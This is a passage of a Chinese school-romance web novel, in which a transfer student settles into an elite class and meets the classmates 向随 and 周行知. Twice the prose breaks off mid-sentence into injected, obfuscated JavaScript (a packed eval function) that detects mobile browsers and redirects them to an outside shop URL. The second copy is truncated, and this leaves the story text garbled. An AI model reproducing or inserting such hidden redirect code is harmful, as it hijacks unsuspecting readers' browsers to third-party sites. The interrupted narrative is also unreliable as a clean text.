向随放下手中的笔出去。 光头递给他一张试卷:“这是那个新同学的入学考试卷,我看写得还不错,后面几道大题解题思路有点偏了,你回头跟人家讲讲。” 向随真是要笑了。 怎么今天这一个个的,都在他跟前提转学生? 他没接,懒懒问:“为什么是我?” 光头:“那你让周行知去,交给你俩了。” 向随唇边扯出一抹笑,说:“您分明喜欢周行知,为什么老是对他那么凶?” 光头将眼一瞪:“我喜欢他个屁!他把我女儿心思都勾跑了,我能看得顺眼他?” 这是初中的事了。 光头女儿喜欢周行知,追了大半年,没成功,哭得死去活来。 光头闻讯从高中部赶去,在办公室把周行知劈头盖脸地骂了半小时。 向随扬扬眉,也不反驳:“东西我接了,但不保证教会。” “人家能中途转进来也是有实力的,”光头说,“这点你就甭担心了。” 向随没说什么,进了教室就把试卷往周行知桌上一扔。 周行知还以为是光头拿来让他写的,翻过来一看,名字那一栏写着:姜还。 再一看分数栏:93分。 他满眼疑惑,压低声音问:“她的试卷你给我干什么?” 向随:“光头给的。” “光头给的人是你吧!”周行知何其了解这个看自己不顺眼的科任老师,看了旁边正睡觉的女孩一眼,低声道,“拿回去!” 向随坐了回去:“自己解决。” 周行知:“……” - 一到吃饭的时间,教室里的人就消失得非常快。 唐枝终于将啃了一上午的化学题解出来,如释重负地松了口气。 她合上笔盖,把试卷仔细收好:“走吧。” “嗳。”好友陈思思努努嘴,示意她往那边看。 新来的同学仍然在睡。 “去叫她一下?”陈思思问。 唐枝看了眼时间:“叫一下吧,错过了饭点要饿一下午的。” “那你去,”陈思思撺掇她,“我不敢。” 唐枝拿她没办法,摇摇头叹气:“你啊。” 她知道好友胆儿小,新同学这一上午的表现,已经被归为“不好惹”的那一类人了。 “同学。”唐枝手在桌面上轻轻敲了敲。 叫了两次,姜还终于醒了。 这一觉睡得充实,一上午飘浮的状态落到了地上。 唐枝听见女孩轻轻地“嗯”了声,抬起头来,声音软软的,带着刚醒时的惺忪,皮肤在光下白得几乎透明。 她眯了下眼,问:“几点了?” 说话时没有看她们,而是盯着前方放空。 她看得很认真,眼睫弯弯,眨啊眨的。 唐枝和陈思思对视一眼。 新同学好像……跟她们想的不太一样。 好软。 “已经12点了,上午的课都上完了该去吃饭啦,再不去,好吃的菜就被大家抢空咯。”陈思思胆子大了起来,主动开口和姜还搭话,但还是因为害羞,挽着唐枝胳膊大半个身体躲在后面不好意思露出来。 大眼睛盯着姜还一眨一眨的,显然对她很好奇。 “你昨晚上干嘛去了呀,怎么一直在睡觉?” 姜还清醒得差不多了,渐渐恢复了刚来时那股生人勿近的清冷劲儿。 不过她显然还是好说话的,有问必答。 但满嘴跑火车:“家里牛丢了,找了一晚上。” 陈思思:“??” 唐枝:“??” 两女孩震惊得不行,这么……虎的吗?? 姜还微微一笑:“我开玩笑的。” 二女:“……” 可能这就是天才的冷幽默吧。 姜还能在这个时候转进1班、英语作文能拿满分,在包括唐枝和陈思思在内的许多1班同学以及之后得知这个消息的年级其他同学眼中,姜还是个天才无疑了。 至少是个学霸。 ……非常适合他们怪物1班。 “谢谢你们叫我。”出于礼貌,姜还说,“出去吃吗,我请客。” “不不不……不用了,这怎么好意思呢!”陈思思立刻瞪大了眼,结结巴巴地不知道怎么接话。 反而唐枝笑着说:“好啊,那我们也谢谢你了,你有什么想知道的尽管问我们。” 姜还站起来:“走吧。” 陈思思莫名从这简单的两个字里听出了大佬的气势。 好飒。 她捏捏唐枝胳膊上的软肉,满眼崇拜。 唐枝无奈扶额。 - 附中面积特别大,走到后门用了20分钟。 幸好午休时间充足,无论冬季还是夏季午休都是三小时,她们还有充足的时间。 在休息时间的安排上,附中特别人性化。 甚至每周三下午是自由时间,不会排任何课和自习,学生可以出校,也可以在校内开展社团活动、校园活动。 姜还问了两人有没有想吃的。 两个女孩都是从初中部直升上来的,对这一片非常熟悉。 相比陈思思的腼腆害羞,唐枝就大方多了,刚出教室就挽上了姜还胳膊:“你有什么不吃的吗?” 姜还:“我吃得不多,看你们。” “嗯……那我们去吃刀削面吧,好久没吃了。”陈思思想了想,提议说。 唐枝朝她解释:“那家面馆开在初中部,我和思思都爱吃,特别美味,等你去了就知道了。” 姜还说好。 高中部和初中部离得不远,走过两条街就是。 而这两条街已经完全变成了步行街。左右都是饭店、奶茶店、精品店,连车辆也禁止驶入。 放眼望去,几乎全是穿着附中校服的学生。 肩并着肩、手挽着手,起哄声和笑声交杂在一起。 是高温艳阳都掩盖不住的喧嚣青春。 姜还视线安静地落在这些面容尚且青涩稚嫩的同龄人身上,不同以往她见到的,他们身上无一例外都有一种特别的气质:自信。 “思思,你先过去点餐,我们去买奶茶。”唐枝扭头问姜还,“姜还,你想喝什么?这次我请你。” 她们进了一家奶茶店。 “我都可以。”姜还说。 在看到唐枝点的都是些很甜的奶茶的时候,又改了口 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唐枝说:“你不是都听见了吗?” “那也不是他的错吧。”姜还说。 唐枝赞同点头:“你说得对,确实不是他的错。” “但是——” 陈思思观察了四周,神神秘秘地说,“向随这个人对女生特别凶!说哭过好多人呢!” 陈思思找的座位在角落,听见她们刚才在聊向随,立刻变身话痨,仿佛之前害羞局促的人不是她。 唐枝深以为然点点头,“让思思跟你说,她最擅长讲故事。” 陈思思脸一红:“没有啦,人家只是知道得比较多。” 她看向姜还,说:“向随就是你前桌,坐你左边的叫周行知,你们上午一起去了办公室应该知道,这俩人,可是咱们班里的‘少爷’。” 陈思思讲起八卦来,那叫一个绘声绘色。 一开始,姜还还听得津津有味。 可越听到后面,越觉得有点不对头,这怎么听着……有点夸张? 从陈思思没头没脑没实际证据表明的八卦传言里,姜还大概总结出来三点: 1.班里“怪物”和“天才”有很多,其中最有名的当属向随和周行知; 2.向随和周行知是好友,入学起就孟不离焦、焦不离孟,喜欢向随的女生能从高中部一直排到初中部(注:排好几圈); 3.向随这个人,不太好惹。 …… 周行知拎着雪糕和汽水,绕过一排排亮着光的电脑座椅,走到网吧最角落的位置。 那里早坐着一个人。 灯光昏沉,只在他肩头落了一点冷光。男生戴着耳机,屏幕里游戏战况正烈,他微垂着眼,只露出一截利落的下颌线与清瘦的肩背。 周行知走过去把东西放下,拿出一瓶可乐在男生手臂上冰了下:“听说你又辜负了少女心意,便宜了某个猥琐男?” 向随抬眼:“?” 周行知失笑,手指碰了碰他耳机:“听不见你不知道摘耳机啊?” 向随摘了耳机:“说。” “说。”周行知板着脸学他,一脚踢过去,“你跟谁凶呢?” 向随没搭理他,看了眼他身后:“方侨呢?” 周行知叹了口气:“我正要跟你说这个,刚才他打电话过来,说被家里人发现,以后都不跟咱组队了。” 向随顿了下。 周行知撕开雪糕咬了口:“他家里管得严,你又不是没见过。” 向随垂着眼没应声,抓起塑料袋翻了翻:“没买饭?” 周行知:“……忘了。” 向随把东西一扔,面无表情重新戴上耳机:“那你来干什么。” “不是,”周行知给无语笑了,“刚才在学校里,你自己不跟我去食堂,现在怪起我了?” 向随没说话,手指飞快在键盘上操作着,冷白荧光下,衬得那张脸愈发冷峻。 得,这是少爷脾气犯了。 “咱们班女生说得没错,你向随,是真不好惹。”周行知哼笑摇头戴上耳机,登录游戏账号:“你是真少爷。” 向随重重按了下R键:“不是你传出去的?” 周行知老管他少爷少爷的叫,久而久之,大家真以为向随是个少爷了。 其实说来也算。 但此“少爷”非彼“少爷”。 托周行知的福,向随从入校起就被编造各种神秘身世。 说得多了,当事人都懒得解释。 只能眉一皱,嘴一抿说“滚”。 不好惹的传闻就是这样来的。 向随从袋子里挑了瓶汽水,拉开易拉环,“哒”的一声。 他抿了一口,忽然说:“我有点生气。” 周行知盯着屏幕眼也没斜:“刚才没反应,以为你不在意呢。” 男生一皱眉,又说:“算了。” 周行知:“怎么又算了?” 向随重新戴上耳机,没什么情绪地说:“少爷大度,不跟俗人计较。” 周行知噗嗤一笑,点头:“明白少爷~” 5. 005 吃完午饭,姜还打算先把梁菲规定的检讨写了。 她正认真写着,忽地听见一阵吵闹,一抬眼,看见向随走了进来。 男生手里捏着杯冰咖啡,那手指很长,松松抓着杯口边沿,不知道进来前在和谁说什么,脸上挂着淡淡笑意。 倒是和之前凶巴巴的表情不太一样。 “好帅。”姜还听见窗边有人说。 她事不关己地垂下眼,继续写检讨。 才写了100多字。 眼前忽然一暗,一道人影扫过,把椅子往后一拉坐了下来。 “随哥讲究人啊,不喝奶茶喝咖啡。”是向随前桌的男生。 姜还听见左侧的周行知嗤笑开口:“你随哥装逼呢。” 前桌发出爆笑,向随抽了张纸擦手,团作一团转身朝周行知扔了过去。 椅背跟姜还课桌碰了一下,姜还感觉空气中似乎闯进了什么“不速之客”,陌生,令她心生警惕,却又不那么讨厌。 周行知轻松接住纸团,往自己放垃圾的袋子一丢,扭头看见女孩正低着头写得认真,眼神凝了凝。 “姜还。”他说,“检讨不用写的,菲姐就是嘴上说说。” 少女怔了一下,似乎没想到还可以这样。 她应了声谢谢,然后低头接着写。 这回轮到周行知怔住了,他失笑地摇摇头,抽了张试卷出来。 姜还之所以执着写检讨,不是因为害怕梁菲检查。 而是打发时间。 今天发生的事太多,她脑子有点乱,画画也静不下心。 附中比姜还知道的所有中学要好太多太多。 在来之前,她根本想不到国内居然会有学校这么人性化。 学生不仅可以带手机上学,就连上课做与本节课无关的事老师都不会管。 中午的时候,陈思思还告诉她,要不是今天早上周行知动静太大,让光头没了面子,像迟到、睡觉这种事基本不会有人管。 正是应了梁菲跟宋玉琳说的那句话,附中的老师基本不会干涉学生的学习。 学生对自己的一切有规划。 就连唐枝她们也正在准备之后的数学竞赛,她俩去年就拿了不错的成绩,今年再参加是准备刷分数的。 尽管如此,姜还还是对附中学生的优秀没有具体概念。 也就不知道自己以转班生考入1班这件事有多么的传奇。 “姜还。” 姜还被拉出沉思,看见周行知朝她递过来一张试卷,与她目光相撞时不自觉将视线移开。 “这是光头让我给你的,我看了你的答题思路,写了点建议在便利贴上,你看看,有拿不准的地方可以问我。” 姜还没想到自己的试卷会落到他手里。 她轻蹙眉头,似乎有点不喜。 周行知大概是看出来了,也有点尴尬。 姜还却是在想,他物理成绩很好吗?但为什么物理老师看起来好像更喜欢向随? 她看了眼自己的前桌,少年坐姿闲散,脊背宽而挺拔,长腿随意伸着,放在桌角的咖啡冰化了正朝下落着水珠。 “谢谢。”她接过试卷就塞进了桌肚,继续埋头写检讨。 周行知一愣,一时间难以形容自己的心情。 下午第一节是化学,是位女老师,讲课方式很幽默,时不时教室里就响起一阵笑声。 下了课,同学们接水的接水,打闹的打闹。 “你好姜还,我是覃白。”向随前桌的男生两步朝姜还座位走来,冲她咧嘴一笑,“也是咱们班的班长,加个QQ吧,我拉你进班级群。” “我也要我也要!”周行知前面的男生闻声回头。 “还有我还有我!” “去去去去,什么都来凑热闹,一会儿进群了自己加不行啊?”覃白是阳光男孩那一类型,性格爽朗大方,长相也不错,喜欢运动,在学校里人缘非常好。 说着冲姜还眨眨眼:“还记得我不?昨天咱俩见过。” 姜还想起来了,昨天跟在周行知后面的男生就是他。 “昨天我们还在讨论呢,说我们学校怎么会有这么好看的女孩子。”覃白笑容大了几分,声音也提高,“原来是我们班的啊。” 教室里响起了善意的起哄声。 “谢谢。”姜还实在想不出理由拒绝,便和他加了好友。 刚加上,手机就开始震个不停。 “洗澡白白白邀请你加入群聊-一群牛*的人” -偷偷学习卷死谁了:[欢迎欢迎.jpg] -月亮爱睡不睡:[欢迎欢迎.jpg] -我思考一下:[欢迎欢迎.jpg] -唐枝:[欢迎欢迎.jpg] …… 这会儿只要在班里的,无论在干什么,都停下手中正在做的事,往群里跟了个队形。 周行知想了想,也跟了一个,很快被刷了上去。 他往上翻了翻,没看见少爷的。 抬头一看,少爷正趴桌上睡觉呢。 姜还不太会应付这种局面,往群里扔了个感谢的表情包就退了出来。 联系人那一栏多了十几条好友申请。 姜还招架不住这样的热情,但又不好表现出来什么。索性把手机放在一边,先不理会了。 下午只有三节课,老师在上面讲,同学们在台下各干各的。 姜还偶尔画累了,会抬头揉揉脖子。 她前桌睡觉的姿势一直没变过。 搭在后脑的那只手手指修长,姜还眼尖地注意到他凸起的腕骨下方有一颗很淡的痣。 她瞥一眼就收回眼光。 直到最后一节数学课,前面睡死过去的人才有醒来的迹象。 他一动,姜还就察觉了。 也没有人叫他,数学老师进门的那一刻,他垂着的手指动了动,等老师喊完上课后,才抬起头坐直身体。 拿起桌上的咖啡抿了口后,他又搓了下脸,顺着将刘海掀到脑后。 也就是这时,数学老师居然点起了名:“向随。” “到。”男生举起手,懒懒应了声。 明显刚刚睡醒。 数学老师是个头发花白的老头,却精神矍铄,姓李,班里学生都叫他李师。 李师满意点点头,又叫:“周行知。” 周行知也举手:“在呢老师。” 接着,李师又叫了几个名字。 被叫到名字的,无不乖乖坐好,摸出了崭新的数学书。 姜还觉得这些名字很耳熟,想起来中午时陈思思和唐枝提过,都是班里闹腾的惹事精。 姜还想了想,把画本收了起来。 也不知道是不是错觉,在她把数学书翻开的那一刻,她感觉台上的老头冲她轻微地点了下头。 一种劫后余生的感觉油然而生。 这老师似乎……不简单。 这是姜还今天第一次认真听课。 才听了两句,她就知道老头教学能力很强。 其实不止李老头,身为附中重点班的老师,没有一个能力差的。 在这里学两年,只要跟得上,重点大学随便上。 姜还低了头,手中紧紧攥着笔,眼睫垂落挡住了所有神情。 - 下节是自习,姜还去办公室交完检讨回来,她前面和左边已经没人了。 一坐下来,姜还忽然觉得周边有点空,连光线都亮堂了不少。 -唐枝:还还,一会儿一起吃饭吗,请你吃食堂^^ -hxtlzgsj:你还是叫我姜还吧,或者姜姜 -唐枝:噢噢,是怕大家把你跟熹贵妃搞混吗:D -hxtlzgsj:姜姜好听一点 -hxtlzgsj:你和思思去吧,我晚上不吃饭 -唐枝:!! -唐枝:在减肥吗!中午的时候就吃好少,你都这么瘦了!!! -hxtlzgsj:不是,就是没胃口 -唐枝:好吧[难过] 姜还收起手机,看见坐在两排开外的唐枝转身跟陈思思说了什么,后者露出可惜的表情,同时往这边看来,姜还冲她们扬起一抹歉意的微笑。 附中晚饭只有1小时休息时间,回来还有三节晚自习。 向随和周行知都没有回来。 姜还翻了翻试卷和练习册,在QQ上问唐枝哪些作业要交。 她把要交的写了,然后开始低头玩游戏。 走读生比住校生少上一节晚自习,第二节晚自习下课铃一打响,开学第一天正式结束,姜还收起快要没电的手机,背着书包出了教室。 宋玉琳半小时前就给她发了消息,说已经在校门口等着了。 姜还问她为什么来这么早,宋玉琳说自己刚下班,索性直接过来了,免得回去后没多久又要出门。 姜还看着那条消息发了很久很久的呆。 从教学楼出来,跟着大部队走,姜还没有迷路,没多久就到了校门口。 出了校门后学生们迅速散去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469758|201412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有的去车棚骑车,有的结伴步行,也有像姜还这样有家长来接的。 宋玉琳车停在昨天停的地方,姜还能找到,还是因为她就站在门口。 宋玉琳新入职的是一家大公司,国企,要求员工着工服,她上了一天的班,妆容依旧精致,西服外套一丝不苟,甚至从脸上看不出一丝疲惫——在外面,她不允许自己有丝毫的不妥。 “开学第一天感觉怎么样?”宋玉琳将刚刚从便利店买的温牛奶递过去。 姜还摇头:“我现在不想喝。” “怎么看着那么蔫儿,没跟上进度,压力很大?”宋玉琳从容收了回来,“那就留着明早喝。” “你也别太有压力,入学考试都过来了,还考得那么好,努力一下肯定能跟上的。”自从姜还连传说中附中魔鬼的入学考试都高分通过后,宋玉琳对她的期望大大提高,这半个月来,除了开学那天,宋玉琳对她都和颜悦色的。 “实在不行,到时候咱报个补习班。”宋玉琳关上车门,系好安全带发动车子,话音一转,语气里带上了警告,“但你也不可以因此松懈,知道吗?” 姜还偏头看着窗外风景,心思早已飘远,在宋玉琳又一次的催促下才慢吞吞应了声:“哦。” 第二天姜还起来得有点迟了,宋玉琳已经收拾妥当,把准备好的三明治和牛奶塞进她手里:“来不及了,今天妈妈要做个项目介绍,要提前去会议室准备,你把早饭拿去教室吃。” “我先去开车,你穿好鞋赶紧下来。” 姜还先去厨房检查了煤气和微波炉,又去宋玉琳房间转了圈,确定没有什么没关的电器,才背着书包出门。 附中是8:20开始上早读,到8:30直接上第一节课,时间太短又太早,这10分钟基本是留给学生们醒神、做规划用的,也没有专门的老师来守。 到教室刚刚七点半,只有四五个人在安静地看书。 姜还进门后看到一个男生拿着扫把在扫地,这才想起来梁菲昨天定下的惩罚。 她把牛奶和书包放下,去教室角落拿起扫把就开始扫。 “你放那儿吧,我来扫就行。”那男生说。 姜还动作没停。 男生走过来按住不让动,冲她一笑:“我来就行。” 和覃白那种爽朗的笑不同,男生戴着一副四四方方的眼镜,只比姜还高小半个头,给人的感觉要更温和些。 “为什么?”姜还不太明白他为什么这么做,“梁老师说让我扫一周。” 男生忽然像被戳中了笑点,偏开头笑个不停。 姜还没懂他在笑什么。 “可是菲姐没跟我说啊,”刚才温和的气质仿佛是假象,男生这会儿就像变了人,姜还甚至觉得他有点吵。 “放着我来吧,真的。”男生努力维持表情,忍笑说,“哪有让女孩子干这些的道理。” “……”姜还深深看了他一眼,放下扫把走了。 这人病得不轻,她想。 周行知拎着早餐过来的时候,林胜兴奋地把刚才发生的事讲给他听。 “哇塞你是没看到她的反应,我感觉她要爱上我了!”这话当然是夸张,吹牛的时候都这样。 林胜想起姜还临走前看他的眼神,摸出手机来:“你说我现在要不要给她发个消息,可是聊啥好呢……” 周行知蹙了眉:“你别打扰人家学习。” 林胜是周行知室长,人不错,就是话密得很。 班里卫生只有教室需要打扫,已经固定分配下去,每周轮换。 这次梁菲罚他们一周,周行知和向随是起不来的,又不好全让姜还一个人扫,人家毕竟刚来,传出去别人说他和向随联合起来欺负新同学。 周行知答应包林胜一个月早餐,把打扫的事托付给他。 反正教室一直很干净,就算一个人干也要不了多少时间。 “我怎么打扰人家学习了,”林胜往后门方向看了眼,“人家那样的成绩,能被我打扰?” 周行知下意识跟着看去,少女手撑着头在看窗外。 “还是说你喜欢人家,不让我出手……”前天篮球场的时候他也在,就他和覃白两个人起哄最厉害。 他可是看见了周行知盯着对方的背影半天回不过神。 “人刚来,什么都不熟悉。”林胜表情严肃下来,“别搞,公平竞争啊。” 给周行知听乐了。 神他妈公平竞争。 “行,你要有那本事把人拿下,”周行知说,“我跟向随管你叫哥。” 6. 006 姜还坐在位置上收拾桌面,从桌肚里摸出来一张试卷。 是昨天周行知递给她的。 难得见到一个字写得好看的男生。 那字迹遒劲、有笔锋,解题思路也很一针见血。 物理还是太难了些,那突击的一个月里,她花费时间最多的就是数学,其次就是物理。 附中的学生显然非常习惯这样的出题难度,甚至还有解题套路,这些在她学习的时候没人告诉她。 周行知跑完步回来,瞧见桌上多了点东西。 他左右看看,没发现谁在关注这边,也就不知道是谁放的。 一开始他以为又是年级哪个女同学悄悄送的东西,可没有谁会只送两颗糖。 这时他发现了这两颗糖下面压着的便利贴。 很眼熟,是他从光头办公室薅过来的。 他恍然,有些意外地看了眼旁边的空位。 课桌桌面干净,仅放了本书在桌角。 他收起两颗糖,把便利贴拿起来看,确实是昨天他撕给姜还的,现在背面多了两个字:谢谢 周行知扬了扬眉,将便利贴团成团,拆开一颗糖来吃了。 唔,很小女孩喜欢的味道。 太甜了。 很腻。 不适合他。 嘴里蔓延着奶香,他又想起了林胜放下的狂言,忽然有点儿好奇这位新同学的反应。 姜还接完水回来发现周行知已经坐到了自己位置上,桌上的糖和便利贴都收了起来,应该是看到了。 她捧着水杯回到座位。 “姜还。”她听见他叫她。 她扭头。 周行知:“教室就让林胜扫吧,他喜欢扫。” 姜还想起刚才林胜笑得莫名其妙的样子,表情略微有点复杂。 像是对其年纪轻轻就得病的同情。 她点头,表示知道了。 见她又只是点头,一句话不肯说,于是便问:“怎么不说话,你讨厌我?” 姜还:“没有,只是不知道说什么。” 周行知将这归咎于害羞。 好吧,这就是女孩子,他不懂。 没多久上课铃响了,大家收拾了书开始为上课做准备。 向随就在吵闹中进了教室。 坐前边的几个男生第一个看到他:“哟,随哥,又迟到了?这次怎么不走后门?” 向随走得不紧不慢,像是在家里洗完了澡才出来,湿发半干,颜色比平时深,刘海掀上去,几根不长不短的翘起来,显得他眉眼更加深刻,校服在他身上成了件时尚单品,走那几步路像走秀一样。 覃白欠欠地伸出条腿拦在过道:“随哥今天这么帅,昨晚又干嘛去了?” 向随说:“走开些。” 覃白得了个飞眼,舒服了,笑嘻嘻地收了腿。 向随拉开椅子坐下的时候,姜还闻到了一阵清凉的柠檬味。 周行知喊了声:“少爷,接着!” 向随回头,手快脑子一步,接住了他丢来的东西:“这什么?糖?” 他表情一皱:“我不吃糖。” 周行知笑起来:“吃呗,特意给你留的。” 向随眼神古怪地看着他。思考了两秒,将糖拆了放进嘴里,舌头刚一沾味就吐了回去。 “这糖小孩吃的吧,这么甜?” 姜还:“……” 向随不知道这糖哪来的,也不知道自己在不知情的情况下得罪了人,即刻拧开水瓶喝了口水压味。 “周行知,你整我?” 周行知噗嗤一声乐了,其实他也觉得甜,第二颗是绝对不想吃的,又觉得丢了不好,索性扔给向随尝尝。 至于当着姜还的面—— 送给他就是他的了,他想怎么处理就怎么处理。 姜还没有抬头,也没吭声,仿佛没听见他们的对话般,笔尖在纸上游走,很快笔下便多了一颗柠檬和一个Q版小人。 小人穿着附中校服,刘海掀到脑后,笑得特欠。 她看了一会儿,又在小人的旁边画上一个骷髅。 心说,向随、坏蛋。 - 附中向来秉承“让孩子们自己放手去干”的教学准则。 这个准则在每个年级的1班贯彻得彻底。 不是所有人在这种方式下都能跟得上,高一两个学期申请转班的人不少,加上“50名后淘汰制”,班里人来来去去,在高一下期中考之后才慢慢稳定下来。 加上姜还,1班现在有30人,算满编了。 梁菲特意在教室里留出5个空位,供大家临时调整用。 谁要是在一个位置坐烦了,或者想换个心情,说一声就可以换。 谁和谁坐在哪里,谁和谁坐在一起,梁菲并不会管。 姜还觉得自己挑的这个位置很好。 至于为什么之前没人坐,姜还直觉跟她的前桌有关。 然而姜还等了一周,什么都没发生。 甚至她和向随连句话都没说过。 也不知道是不是之前她的反应太冷淡,连周行知也很少跟她搭话。 反倒是之前固执帮忙扫地的男生,还有那个覃白,天天来她眼前晃。 “我说林胜……你能不能不要一下课就缠着姜姜?”唐枝和陈思思一人挽着姜还一边胳膊,“我们上厕所你也要跟吗?” 她们只觉得林胜这几天格外地惹人嫌,平时怎么没见他这样,哪里知道林胜这是为了被周行知和向随叫一声哥铆足了劲儿。 心里想得可美呢。 林胜笑得友好:“你们去呗,我就跟着走走,透会儿气。” 陈思思暗暗翻了个白眼,小声说:“一会儿咱们从二楼绕,把他甩了。” 整栋博雅苑呈“口”型,对面是高一,两栋楼相对而望,左右两边延伸了一条长长的走廊,墙外爬满了绿植,点缀着粉的白的红的花,一到傍晚,太阳落山,那里就变成了绝佳的观景地,附中的学生都叫它情人桥。 1班在三楼,后面就是楼梯和情人桥的入口,厕所和水房在过道另一侧,和办公室离得很近。 唐枝赞同地点头,两女步子加快,带着中间的姜还几乎要跑起来。 2楼安静多了,走廊上没几个人。 陈思思带了明信片要给朋友送去,那个班都在自习,她一个人不好意思去,唐枝便陪她一起。 姜还便说:“那我去楼梯口等你们。” 陈思思说:“嗯嗯,我们说两句话就过来,很快的,要是不想等可以先回去!” 姜还点头,她刚走到楼梯口,下一刻一道懒懒的声音落入耳膜。 “在躲我们?” “没有,随哥,不是你想的那样……” “不是那样是哪样?”另一道声音说,“蹲你两天了,挺能躲呀。” 1楼到2楼的楼梯转角,向随和周行知将一个带着眼镜苍白着脸的男生堵在角落。 这俩人都高,估计一八五往上,衬得被堵的那个男生瘦弱又无助。 姜还没来得及刹住脚,刚转过头就被发现了,传说中不好惹的少爷朝她看过来,似是有些意外,抬了抬眉骨。 这是他们第二次这么直白地对上视线。 楼梯间光线正好打在他头顶,眼神带着点慵懒痞气,晚霞在他身后铺开,向随保持着说话的动作,单手插着兜,站姿随意。 他长了一张极具侵略性的脸,五官尤为深邃锋利,仅一个抬眉的动作,散漫中便透着一股狠劲。 一副校霸的气势。 特别符合陈思思口中不好惹的形象。 周行知做出架势还要跟那男生说什么,被向随用胳膊肘一推,扭头就看到了楼上的姜还。 少女背着光,身量清瘦高挑,阳光落在她的发丝上,碎成一片温柔的金芒。 唇角抿着,接着扭头走了。 周行知一愣,心说怎么就这么走了。 向随双手抱在脑后,吹了声口哨,低沉磁性的嗓音懒懒的,带着点儿调笑:“吓着好学生喽。” 周行知很想不顾形象地翻个白眼。 实际上他也忍不了了,没好气道:“看看你这样,跟流氓似的,知道同学们都怎么说你的吗?” 向随“呵”一声:“不都是你给我传出去的?” 被堵的男生问:“随哥,那你们班同学啊,新来的,怎么没见过?” 向随垂眼问:“喜欢啊?” 男生本来是笑着的,想说是啊,但看他的表情,忽然一怂,没有正面回答:“长得很漂亮。” 向随轻笑一声,不知道是在嘲笑他怂还是别的什么。 “别特么转移话题,”周行知伸出手点了点,“咱们的事还没掰扯清楚呢,收了钱不办事,庄然,你这么搞,以后谁敢跟你做交易?” 庄然立刻苦着脸说:“那我也不是没办法嘛,齐枫都让人找到我家里来了,盯着我把装备卖给他们,我不答应就不走。” “让他们付住宿费呗。”周行知说。 “说得轻松……”庄然低声嘀咕,“我家里妈妈和妹妹都在呢,他们几个男的一直待着算个什么事儿……” 周行知气极反笑,有点不知道该怎么说了: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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挪课桌的时候向随不在,是覃白帮忙挪的,挪完就笑着看向姜还:“这桌子沉,我帮你吧。” 姜还刚搬来,除了新发的书和几只画画用的笔外没有多余的东西,倒是比其他人的轻。 拒绝的话到了嘴边,姜还礼貌回复:“谢谢班长。” 覃白左右手抓着课桌边沿,一提一放,轻松就挪了位,没发出一点声音:“客气。” 他们这一挪,每行就对不齐了。 梁菲这个班主任还没开口,有强迫症的同学先受不了跟着搬了。 紧接着全班被点醒了般,纷纷往前挪了挪。 也没人觉得奇怪什么的。 就是这样默契。 周行知这次从后门进来没有受到分毫阻碍。 他从课桌里找出一把美工刀,三两下拆完了快递。 拆完,把垃圾全都集中在不用的纸箱里。又抽了张湿巾,他一手拿着垃圾,一手擦桌面,面朝着后门的方向,右腿已经伸出去,一副随时准备离开的架势。 姜还从他进来起心思就不在画画上了。 等人走后,她放下笔盯着前面收拾工整的空位看了一会儿,眼中闪过一丝纠结和犹豫。 旋即她攥紧拳头闭上眼,深吸一口气,片刻后再睁开,表情变得平静。 她迅速收拾好东西,无声地拉开后门走了出去。 周行知扔完垃圾去水槽洗了个手,绕去了后方的小树林。 这个时候校园里没什么人,太阳还没完全落下,斑驳地打下来,绿叶在晚风中沙沙作响。 助跑、起跳,熟练地翻上墙。 天边残阳刚落,余烬在云层里翻涌,安静又温柔。 他闭上眼,享受晚风拂面。 兜里手机震起来,不用看都知道是谁—— 周行知唇角勾着,还不想从这片刻的安逸中抽离,闭着眼接通了电话。 接起就说:“来了少爷,别催,路上了。” 那头不知道说了什么,引得他发笑。 “行了,知道了,就来。” 挂了电话,周行知睁开眼,刚准备跳下去,却觉得有哪里不对,随即他偏过头,这一眼却看得他差点栽下去—— 少女在暮色里亭亭而立,睫羽沾着暖光,细眉揶揄地挑了挑。 那眼神简直跟他们少爷要捉弄人时如出一辙。 “周行知,你在翻墙吗?” 7. 007 周行知不动声色地吸口气,恢复冷静,同样勾起一抹笑:“怎么?” 姜还问:“你翻墙要去哪儿?” 周行知眼神忽然变得玩味:“我们很熟?” 姜还发现,向随不在,周行知就像变了个人。 这么一看,其实他也长得很帅,只不过不像向随那么惹眼。 两人经常走在一起,光芒都被向随掩盖了。 姜还想起陈思思对周行知的形容。 家里有钱。 校草备选。 比向随好说话。 ——但姜还不这么觉得。 她知道,面前这个男生不比向随好说话多少。 她抬起头,无惧对方戏谑的眼神,静静开口:“带我一个?” 周行知一愣:“我没听错吧?你都不问我是去干什么?” 姜还:“干什么?” 周行知一笑:“我为什么要告诉你?” 姜还说:“是你让我问的。” “……”好吧,真诚果然是最大的必杀技,周行知无言以对了。 今天这出他是万万没想到的,他没想到姜还会跟来,也没想到她会提这种要求,搞得像他们很熟一样。 总不能因为她爸是他后爸这事儿吧,这姑娘看着也不像个自来熟的。 所以他不打算将人带过去,于是便坏笑着说:“你一个女孩子就这么跟我出去,不怕我……” 这么说是让她知难而退,可偏偏这女孩的脾气也是他没料到的,他这边话还没说完呢,那边话就接上了。 “你怎么知道不是我把你怎么样?”女孩说这话时的表情就像昨天接过试卷和他说谢谢时一样。 没有故作夸张,也没有故作威胁,很平淡很平常的模样,但就是在这样平淡的语气下,周行知听出了异常强大的自信与决心。 他觉得真是奇了,没想到看着可乖一人,骨子里这么有劲儿。 但他肯定是不能答应的,且不说他们现在关系尴尬,那网吧里还有位挑剔的少爷呢,让他知道了,那不得—— “不然我就去告诉李师。” 周行知正想着要不直接跳下去走人,冷不丁听见这么一句,愕然睁大了眼。 姜还看他的反应,就知道自己赌对了。 